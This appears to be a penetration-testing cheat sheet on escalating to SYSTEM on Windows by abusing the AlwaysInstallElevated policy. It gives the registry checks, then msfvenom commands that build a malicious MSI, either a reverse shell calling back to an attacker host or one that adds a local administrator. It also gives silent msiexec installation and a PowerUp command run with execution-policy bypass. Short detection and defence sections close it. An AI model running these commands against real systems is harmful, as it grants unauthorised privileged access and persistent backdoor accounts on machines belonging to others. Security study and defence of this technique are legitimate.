AlwaysInstallElevated abuse

AlwaysInstallElevated is a Windows policy that, when enabled, makes the Windows Installer (msiexec) install any .msi package with SYSTEM privileges, regardless of who launches it. It is meant to let unprivileged users install approved software, but it is a trivial escalation if left enabled on a multi-user machine.

To be exploitable, the policy must be 1 in both registry hives. Two quick queries confirm it:

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1 it is exploitable (winPEAS and PowerUp flag it on their own). You build a malicious .msi; the usual payload is a reverse shell, but an .msi that adds a local administrator leaves persistent access and needs no listener:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -f msi > rev.msi
msfvenom -p windows/adduser USER=<user> PASS=<pass> -f msi > add.msi   # local admin add

Upload it to the target and install it; the Windows Installer runs it as SYSTEM:

msiexec /quiet /qn /i rev.msi          # install the MSI (runs as SYSTEM)
# PowerUp: generate a user-add MSI ready to install, then the msiexec above
powershell -ep bypass -c "Import-Module .\PowerUp.ps1; Write-UserAddMSI"

The installer runs the package as SYSTEM: the reverse shell lands privileged or the new user is in Administrators.

Nuances. If only one of the two keys is 1, the policy does not apply: both are required. In real environments it usually comes from misconfigured GPO templates.

How to detect it. On the offensive side, the two registry queries above confirm it in seconds; winPEAS and PowerUp (Get-RegistryAlwaysInstallElevated) flag it on their own. On the defensive side, the signal is msiexec installing an .msi from a user path (C:\Users\...\Temp, %APPDATA%) and, above all, a child process of msiexec.exe running as NT AUTHORITY\SYSTEM: a legitimate installer rarely descends from an unprivileged user session.

Defence. Do not enable AlwaysInstallElevated; use controlled software deployment (SCCM/Intune) and review GPOs. Related to SeImpersonate + Potato and RunAs with credentials.